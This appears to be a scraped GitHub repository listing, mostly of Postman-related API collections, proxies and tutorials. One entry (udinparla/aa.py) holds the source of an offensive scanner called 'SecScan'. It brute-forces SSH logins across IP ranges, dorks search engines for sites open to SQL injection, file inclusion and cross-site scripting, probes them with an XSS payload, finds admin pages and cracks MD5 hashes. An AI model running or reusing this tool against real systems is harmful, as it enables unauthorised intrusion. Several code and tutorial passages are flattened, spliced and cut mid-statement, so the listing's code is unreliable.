Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. | 1 stars | 1 watchers | 1 forks |
|
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website |
Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. | 1 stars | 1 watchers | 1 forks |
|
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website |
Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. | 0 stars | 0 watchers | 3 forks |
|
DigitalRiver/api-sandbox collection, sandbox |
Postman collection for the Digital River API. | 1 stars | 1 watchers | 0 forks |
|
nuxeo-sandbox/nuxeo-swagger convert, description, form, format, import, importable, nuxeo, portable, sandbox, script, swagger, tool, tools, type, types |
Tools to convert the Nuxeo Swagger 1.2 descriptions to an importable format for Postman and other types of tools. | 1 stars | 1 watchers | 0 forks |
|
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website |
Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. | 1 stars | 1 watchers | 0 forks |
|
MichaelKovich/testing-sandbox sandbox, test, testing |
Testing with Cypress, Chai, and Postman. | 0 stars | 0 watchers | 0 forks |
|
GProSoftware828/Postman_collection_sandbox collection, sandbox, task |
Make a Trello.com task management board using these API calls from Postman- all ready to go! | 0 stars | 0 watchers | 0 forks |
|
murl1n/tm_sand sandbox, test |
SOAPUI and POSTMAN test ideas based on ebay sandbox | 0 stars | 0 watchers | 0 forks |
|
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website |
Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. | 0 stars | 0 watchers | 0 forks |
|
ramakanthrao/node-post node, sandbox, script |
node js script for postman sandbox api | 0 stars | 0 watchers | 0 forks |
|
SevereCloud/vk-api-sandbox sandbox |
VK API Sandbox. Files for Insomnia, Postman and more... | 0 stars | 0 watchers | 0 forks |
|
yinchanted/gpi-prevalidation-internet-postman calling, collection, intern, postman collection, sandbox, validation |
The postman collection for calling the gpi Pre-Validation sandbox API over the internet. | 0 stars | 0 watchers | 0 forks |
|
liyasthomas/postwoman alternative, builder, free, http, https, native, postwoman |
👽 A free, fast and beautiful API request builder (web alternative to Postman) https://postwoman.io | 18028 stars | 18028 watchers | 1105 forks |
|
stategen/stategen flutter, free, freemarker, github, http, https, java, mock, provider, react, script, spring, stat, type, types, typescript |
通用springMvc/springBoot分布式非强迫性全栈架构(java服务端，H5、iOS、andriod前端)，内含大名鼎鼎的支付宝dalgen之freemarker开源实现之商用升级版dalgenX，是唯一支持迭代开发的全栈代码生成器，大量前、后端代码通过生成器生成，其中后端任意api直接生成前端网络调用、状态化、交互等相关代码，把前后端分离开发"拉"回来，目前前端已支持react(dva+umi+typescript)和flutter(provider),后续加入kotlin、swf。免去前端文档、调试、postman、mockjs...繁琐。开发中迭代生成，不改变原开发流程、生成80%代码,兼容后20%你自己的代码，拒绝挖坑！ https://github.com/stategen/stategen | 44 stars | 44 watchers | 10 forks |
|
aWhereAPI/API-Postman-Collections application, coding, collection, collections, form, free, play, playing |
Use these Postman collections to start playing with the aWhere API Platform without coding. Requires the free Chrome application, Postman, from getpostman.com | 0 stars | 0 watchers | 8 forks |
|
udinparla/aa.py address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user |
#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() | 4 stars | 4 watchers | 0 forks |
|
empeje/midtrans-iris-collections collection, collections, fork, free, iris, maintained, official |
[Unofficial] Postman Collections for Midtrans' Iris Disbursement Service | Not maintained anymore, feel free to fork! | 1 stars | 1 watchers | 1 forks |
|
adineshreddy1/SupplyChainManagementIntoBlockchain blockchain, chai, details, developer, developers, free, front end, location, require, stat, status, system, track, tracking |
A blockchain based system which records the temperature,location and other paramaters of a shipment/consignment during shipment. Depending upon our requirements for tracking the consignment , we can keep those details into blockchain such as location,status, time,temperature and others. Looking forward for the contribution from front end developers. Please feel free to ping me. | 1 stars | 1 watchers | 0 forks |
|
zengxiaoqi/sooket-tools boot, free, http, spring, springboot, tool, tools |
socket-tool 类似于soket-tool和postman的tcp和http连接工具，前端基于vue，后端基于springboot， 在线体验地址： http://mastertools.free.idcfengye.com | 1 stars | 1 watchers | 0 forks |
|
stevenpersia/paperboy-alpha-releases clone, free, host, hosted, release, self hosted, solution |
Paperboy is a free self hosted solution for your management request API. Postman clone. | 1 stars | 1 watchers | 0 forks |
|
aWhereAPI/V1-API-Postman-Collections application, free, version |
These Postman Collections are for the old version of aWhere's APIs. Please use the API Postman Collections repository. Requires the free Chrome application, Postman, from getpostman.com | 0 stars | 0 watchers | 1 forks |
|
afreendin/DockerFlaskPythonMySQLPycharm assignment, free, home, homework, learn, setup |
This project is a homework assignment to learn how to get Pycharm setup with Docker, Flask, MySQL, and Postman. | 0 stars | 0 watchers | 0 forks |
|
fac/postman-freeagent-api-collection agent, collection, free, freeagent |
A Postman Collection for the FreeAgent API | 0 stars | 0 watchers | 0 forks |
|
freeletics/fl-dae-postman free, source |
This repo contains the source code for the project postman | 0 stars | 0 watchers | 0 forks |
|
mathcoder23/apibuilder builder, free, freemarker, java |
基于postman和freemarker 生成多语言的js java api接口库 | 0 stars | 0 watchers | 0 forks |
|
vandyfree12/node-api free, node |
using node and postman for CRUD | 0 stars | 0 watchers | 0 forks |
|
davellanedam/node-express-mongodb-jwt-rest-api-skeleton angular, async, consume, express, frontend, github, http, https, mongo, mongod, mongodb, node, react, rest, skeleton, starter, sync |
This is a basic API REST skeleton written on JavaScript using async/await. Great for building a starter web API for your front-end (Android, iOS, Vue, react, angular, or anything that can consume an API). Demo of frontend in VueJS here: https://github.com/davellanedam/vue-skeleton-mvp | 0 stars | 0 watchers | 119 forks |
|
rgamba/postman async, communication, microservice, proxy, service, sync |
Reverse proxy for async microservice communication | 29 stars | 29 watchers | 1 forks |
|
Inn4ki/chatapp admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app |
NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js | 4 stars | 4 watchers | 5 forks |
|
RathaKM/url-imagecount-service image, images, implementation, service, sync, threaded |
Multithreaded & Asynchronous Spring Boot and Java 8 based REST implementation for counting the images in the given Urls | 4 stars | 4 watchers | 1 forks |
|
mudiarto/django-postman bitbucket, bucket, clone, django, sync |
clone of django-postman. master will be kept in sync with bitbucket, my changes will be in develop | 0 stars | 0 watchers | 3 forks |
|
BlackGoblin/NetworkRequestor async, library, network, send, sync |
a simple network requester. something like Postman. the purpose of this reposetory is to create a async library for sending requests. | 0 stars | 0 watchers | 1 forks |
|
qbikez/postman-sync description, script, sync |
No description available. | 0 stars | 0 watchers | 0 forks |
|
dmitrynaumovwork/postman sync |
Test of postman sync via GitHub | 0 stars | 0 watchers | 0 forks |
|
eeladc/postman drive, e mail, mail, send, sender, sync |
A simple mail auto-sender with gdrive sync | 0 stars | 0 watchers | 0 forks |
|
eyedea-io/syncano-cli-plugin-postman plugin, sync |
Postman plugin for Syncano CLI | 0 stars | 0 watchers | 0 forks |
|
jstep/Postman-Sync collection, remote, sync, syncing |
Testing syncing Postman collection to remote repo without Postman Pro 💰 | 0 stars | 0 watchers | 0 forks |
|
MeteorLyon/Postman-MeteorJs application, chrome, collection, collections, data, install, installed, plugin, problem, server, sync |
The Postman chrome plugin is a cool application. The problem is when you sync your collections, you don't own your data, so it's no more cool. The aim of the project is to allow every one to get the same cool app, but that can be installed on it's own server, so you own your datas. | 0 stars | 0 watchers | 0 forks |
|
TomasKostadinov/Postman-Server express, node, sync, system |
A express.js & node.js based Android Notification sync system | 0 stars | 0 watchers | 0 forks |
|
xzhang007/Multithread-Web-Server actor, auth, authentication, binary, capable, current, design, file, files, handling, image, images, method, network, parsing, reading, send, server, sync, synchronize, test, user, version, versions |
Developed a web server in Java capable of handling HTTP requests and parsing those requests, and sending out various HTTP responses. • Handles basic user authentication and CGI which could execute concurrently using multithreading and synchronized method. And it could send binary files like images over network. • Using GitHub repository to control versions and Postman to test as well as factory design pattern. | 0 stars | 0 watchers | 0 forks |
|
aubm/postmanerator-markdown-theme content, generate, generates, markdown, theme |
A theme for Postmanerator that generates markdown content | 1 stars | 1 watchers | 1 forks |
|
AntarSidgi/Telegram-PostMan content, ember, form, format, included, send, user |
This bot you can send your Members post and educational content in text format from user to be included in $Channel | 0 stars | 0 watchers | 1 forks |
|
AmulyaChen/classScheduler application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather |
University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB | 0 stars | 0 watchers | 0 forks |
|
amulyachennaboyena/ClassSchedulerUsingSpring application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather |
University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB | 0 stars | 0 watchers | 0 forks |
|
contentful/ls-postman-rest-api content, description, rest, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
KiiPlatform/gateway-agent-postman agent, content, contents, form, gateway, local, test, testing |
postman contents for gateway-agent local REST api testing | 0 stars | 0 watchers | 0 forks |
|
Apollo013/AspNet_WebApi2_Versioning content, header, parameter, query, route, test, type, version, versioning |
Demonstrates 5 techniques for API versioning using route uri, query string parameters, custom request header & accept header (content-type). Requires Fiddler or POSTMAN to test. | 0 stars | 0 watchers | 0 forks |
|
jaiswalsachin/NodeCrudNoteApp application, content, note |
This application is purely basic CRUD through postman, we can add note and content | 0 stars | 0 watchers | 0 forks |
|
june97y/training001_mission002 application, content, endpoint, endpoints, json, training, type, verify |
Create CRUD endpoints that return in content type "application/json", verify the CRUD endpoints using Postman. | 0 stars | 0 watchers | 0 forks |
|
marcochin/Wiki-Db-API article, content, data, express, manipulate, mongo, mongod, mongodb, mongoose, route, send, server, simulate, simulates, wiki, wikipedia |
Created a server that has a db that simulates wikipedia. You have an article title and an article content. An API is created for you to manipulate data on the db. It handles GET POST PUT PATCH DELETE. Use Postman to interact with the API. There is no UI. Used mongoose to interact with mongodb. Used express to send API handle route calls and send back responses. | 0 stars | 0 watchers | 0 forks |
|
md-farhan-memon/site-scraper-rails-api content, rails, scraper, site |
HTML Tag content Scraper - API, PgSql, Rails 5 | 0 stars | 0 watchers | 0 forks |
|
mobiletta/a-postman-store content, mobile, related, store |
Repository containing Postman and Newman related content | 0 stars | 0 watchers | 0 forks |
|
prrs/t_postman backup, content, devices, mobile |
backup and analysis of textual content of mobile devices | 0 stars | 0 watchers | 0 forks |
|
rodrigo-contentful/apis-schemas content, schema, schemas |
CDA, CMA JSON schemas for Postman, Insomina and more to come | 0 stars | 0 watchers | 0 forks |
|
rgamba/postman async, communication, microservice, proxy, service, sync |
Reverse proxy for async microservice communication | 29 stars | 29 watchers | 1 forks |
|
jnewmano/grpc-json-proxy grpc, json, newman, proxy, tool, tools |
gRPC Proxy for Postman like tools | 0 stars | 0 watchers | 17 forks |
|
qabin/kb-proxy proxy |
kb-proxy 是一个可本地部署的、提供代理功能、接口测试管理、支持在线Mock、Host环境管理的在线工具平台。 | 0 stars | 0 watchers | 15 forks |
|
a85/PostmanProxy proxy, things |
A proxy for doing some cool things with Postman | 0 stars | 0 watchers | 13 forks |
|
ambertests/charles_to_postman charles, convert, converting, file, json, output, proxy, test, tests |
Script for converting Charlesproxy output to a Postman json file | 0 stars | 0 watchers | 4 forks |
|
thatinterfaceguy/yhcr-proxy-server-api-tests collection, compose, environment, file, interface, local, locally, proxy, running, server, servers, test, tests |
Docker compose file, postman environment and collection for running tests against YHCR FHIR proxy servers locally | 0 stars | 0 watchers | 1 forks |
|
KissKissBankBank/cloudwatch-postman cloud, cloudwatch, data, proxy |
A Node proxy to post data to AWS CloudWatch and AWS CloudWatch Logs | 0 stars | 0 watchers | 0 forks |
|
BenSlabbert/grpc-gateway-example example, gateway, grpc, proxy, service |
Example project using gRPC Gateway as a REST proxy to a gRPC service | 0 stars | 0 watchers | 0 forks |
|
DrWrong/grpc_proxy curl, grpc, grpcurl, proxy |
grpcurl postman 代理 | 0 stars | 0 watchers | 0 forks |
|
Gyanachand1/Blockchain action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user |
# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią | 0 stars | 0 watchers | 0 forks |
|
joeystevens00/play-api-proxy-automated-tests automat, automate, automated, play, proxy, test, tests |
Postman tests for play-api-proxy | 0 stars | 0 watchers | 0 forks |
|
MarcGrimme/postman_toxiproxy proxy, toxiproxy |
Postman Collections for toxiproxy | 0 stars | 0 watchers | 0 forks |
|
martinproxy0/Zadanie_17_5 action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars |
17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - 